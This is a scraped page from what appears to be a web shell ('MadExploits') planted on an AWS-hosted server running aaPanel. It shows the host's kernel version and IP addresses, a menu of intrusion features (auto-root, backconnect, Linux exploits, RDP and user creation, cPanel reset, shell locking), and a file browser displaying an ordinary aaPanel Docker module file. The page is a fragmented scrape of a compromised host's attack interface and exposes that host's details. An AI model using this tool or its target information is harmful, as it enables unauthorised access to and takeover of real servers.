Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.144.95.186
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
btdockerModelV2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
dockerSock
[ DIR ]
drwxr-xr-x
script
[ DIR ]
drwxr-xr-x
appModel.py
2.68
KB
-rw-r--r--
backupModel.py
7.32
KB
-rw-r--r--
composeModel.py
44.81
KB
-rw-r--r--
containerModel.py
84.01
KB
-rw-r--r--
dk_public.py
7.83
KB
-rw-r--r--
dkgroupModel.py
11.07
KB
-rw-r--r--
dockerBase.py
4.47
KB
-rw-r--r--
host.py
2.06
KB
-rw-r--r--
imageModel.py
35.43
KB
-rw-r--r--
monitorModel.py
3.92
KB
-rw-r--r--
networkModel.py
12.1
KB
-rw-r--r--
projectModel.py
22.59
KB
-rw-r--r--
proxyModel.py
13.71
KB
-rw-r--r--
registryModel.py
14.26
KB
-rw-r--r--
screen.py
2.86
KB
-rw-r--r--
securityModel.py
69.8
KB
-rw-r--r--
setupModel.py
32.98
KB
-rw-r--r--
statusModel.py
9.64
KB
-rw-r--r--
volumeModel.py
6.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : host.py
# coding: utf-8 # ------------------------------------------------------------------- # aaPanel # ------------------------------------------------------------------- # Copyright (c) 2015-2099 aaPanel(www.aapanel.com) All rights reserved. # ------------------------------------------------------------------- # Author: zouhw <zhw@aapanel.com> # ------------------------------------------------------------------- # ------------------------------ # Docker模型 # ------------------------------ import public import dk_public as dp class main: # 获取docker主机列表 def get_list(self,args=None): info = dp.sql("hosts").select() for i in info: if dp.docker_client(i['url']): i['status'] = True else: i['status'] = False return info # 添加docker主机 def add(self,args): """ :param url 连接主机的url :param remark 主机备注 :return: """ import time host_lists = self.get_list() for h in host_lists: if h['url'] == args.url: return public.returnMsg(False, public.lang("The host already exists!")) # 测试连接 if not dp.docker_client(args.url): return public.returnMsg(False, public.lang("Failed to connect to the server, please check if docker is started!")) pdata = { "url": args.url, "remark": public.xsssec(args.remark), "time": int(time.time()) } dp.write_log("Add host [{}] successful!".format(args.url)) dp.sql('hosts').insert(pdata) return public.returnMsg(True, public.lang("Add docker host successfully!")) def delete(self,args): """ :param id 连接主机id :return: """ data = dp.sql('hosts').where('id=?',args(args.id,)).find() dp.sql('hosts').delete(id=args.id) dp.write_log("Delete host [{}] successful!".format(data['url'])) return public.returnMsg(True, public.lang("Delete host successfully!"))
Close